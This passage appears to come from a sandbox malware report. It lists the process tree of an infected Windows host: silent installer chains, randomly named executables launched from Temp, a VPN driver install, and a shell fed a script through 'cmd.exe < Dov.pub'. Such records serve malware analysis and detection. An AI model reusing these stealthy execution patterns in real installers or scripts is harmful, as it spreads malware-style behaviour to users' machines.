C:\Users\Admin\AppData\Local\Temp\is-6KDA7.tmp\Setup3310.tmp"C:\Users\Admin\AppData\Local\Temp\is-6KDA7.tmp\Setup3310.tmp" /SL5="$10622,138429,56832,C:\Users\Admin\AppData\Local\Temp\zteovvm3l3z\Setup3310.exe" /Verysilent /subid=57710⤵PID:13476
-
C:\Users\Admin\AppData\Local\Temp\is-3J524.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-3J524.tmp\Setup.exe" /Verysilent11⤵PID:6840
-
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\57051AOK4O\setups.exe"C:\Users\Admin\AppData\Local\Temp\57051AOK4O\setups.exe" ll6⤵PID:8288
-
C:\Users\Admin\AppData\Local\Temp\is-NTFHQ.tmp\setups.tmp"C:\Users\Admin\AppData\Local\Temp\is-NTFHQ.tmp\setups.tmp" /SL5="$8030E,635399,250368,C:\Users\Admin\AppData\Local\Temp\57051AOK4O\setups.exe" ll7⤵PID:8764
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\08-ddceb-a8e-b6cad-7541a263f6887\Pukenofujy.exe"C:\Users\Admin\AppData\Local\Temp\08-ddceb-a8e-b6cad-7541a263f6887\Pukenofujy.exe"3⤵PID:5328
-
-
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵PID:5432
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 9869A33BA92679E9A7FDD08BA85C33E4 C2⤵PID:5872
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding A16DE794533A1AF4084590572A7EE89E2⤵PID:5808
-
-
C:\Users\Admin\AppData\Roaming\Weather\Weather\prerequisites\aipackagechainer.exe"C:\Users\Admin\AppData\Roaming\Weather\Weather\prerequisites\aipackagechainer.exe"2⤵PID:14976
-
C:\Users\Admin\AppData\Roaming\Weather\Weather\prerequisites\RequiredApplication_1\Weather_Installation.exe"C:\Users\Admin\AppData\Roaming\Weather\Weather\prerequisites\RequiredApplication_1\Weather_Installation.exe" -silent=1 -AF=756 -BF=default -uncf=default3⤵PID:15868
-
-
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵PID:4412
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵PID:5652
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵PID:16000
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵PID:16240
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:16556
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k dcomlaunch -s DeviceInstall1⤵PID:8784
-
C:\Windows\system32\DrvInst.exeDrvInst.exe "4" "0" "C:\Users\Admin\AppData\Local\Temp\{3b5e485d-f01e-574f-994d-213299b4d139}\oemvista.inf" "9" "4d14a44ff" "0000000000000160" "WinSta0\Default" "0000000000000178" "208" "c:\program files (x86)\maskvpn\driver\win764"2⤵PID:8904
-
-
C:\Windows\system32\DrvInst.exeDrvInst.exe "2" "211" "ROOT\NET\0000" "C:\Windows\INF\oem2.inf" "oemvista.inf:3beb73aff103cc24:tap0901.ndi:9.0.0.21:tap0901," "4d14a44ff" "0000000000000120"2⤵PID:9368
-
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s NetSetupSvc1⤵PID:9476
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s DsmSvc1⤵PID:9464
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:11944
-
C:\Program Files (x86)\MaskVPN\mask_svc.exe"C:\Program Files (x86)\MaskVPN\mask_svc.exe"1⤵PID:14644
-
C:\Program Files (x86)\MaskVPN\MaskVPNUpdate.exeMaskVPNUpdate.exe /silent2⤵PID:5464
-
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵PID:9828
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵PID:9384
-
C:\Users\Admin\AppData\Local\Temp\C800.exeC:\Users\Admin\AppData\Local\Temp\C800.exe1⤵PID:9996
-
C:\Users\Admin\AppData\Local\Temp\CEB8.exeC:\Users\Admin\AppData\Local\Temp\CEB8.exe1⤵PID:14708
-
C:\Users\Admin\AppData\Roaming\urjbhasC:\Users\Admin\AppData\Roaming\urjbhas1⤵PID:7956
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:11328
-
C:\Users\Admin\AppData\Local\Temp\E80E.exeC:\Users\Admin\AppData\Local\Temp\E80E.exe1⤵PID:11668
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:16912
-
C:\Users\Admin\AppData\Local\Temp\88.exeC:\Users\Admin\AppData\Local\Temp\88.exe1⤵PID:12512
-
C:\Users\Admin\AppData\Local\Temp\D2C.exeC:\Users\Admin\AppData\Local\Temp\D2C.exe1⤵PID:12960
-
C:\Users\Admin\AppData\Local\Temp\D2C.exe"C:\Users\Admin\AppData\Local\Temp\D2C.exe"2⤵PID:16512
-
-
C:\Users\Admin\AppData\Local\Temp\1693.exeC:\Users\Admin\AppData\Local\Temp\1693.exe1⤵PID:13300
-
C:\Windows\SysWOW64\at.exe"C:\Windows\System32\at.exe"2⤵PID:15040
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\Windows\system32\cmd.exe < Dov.pub2⤵PID:15492
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe3⤵PID:7988
-
-
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵PID:908
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:4332
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 4332 -s 15682⤵
- Program crash
PID:14056
-
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵PID:3336
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵PID:13708
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵PID:1944
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵PID:14000
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵PID:14104
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵PID:5524
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵PID:14404
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵PID:13688
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵PID:12672
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵PID:17376
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵PID:7212
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵PID:15392
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s seclogon1⤵PID:10768
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵PID:8540
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵PID:8512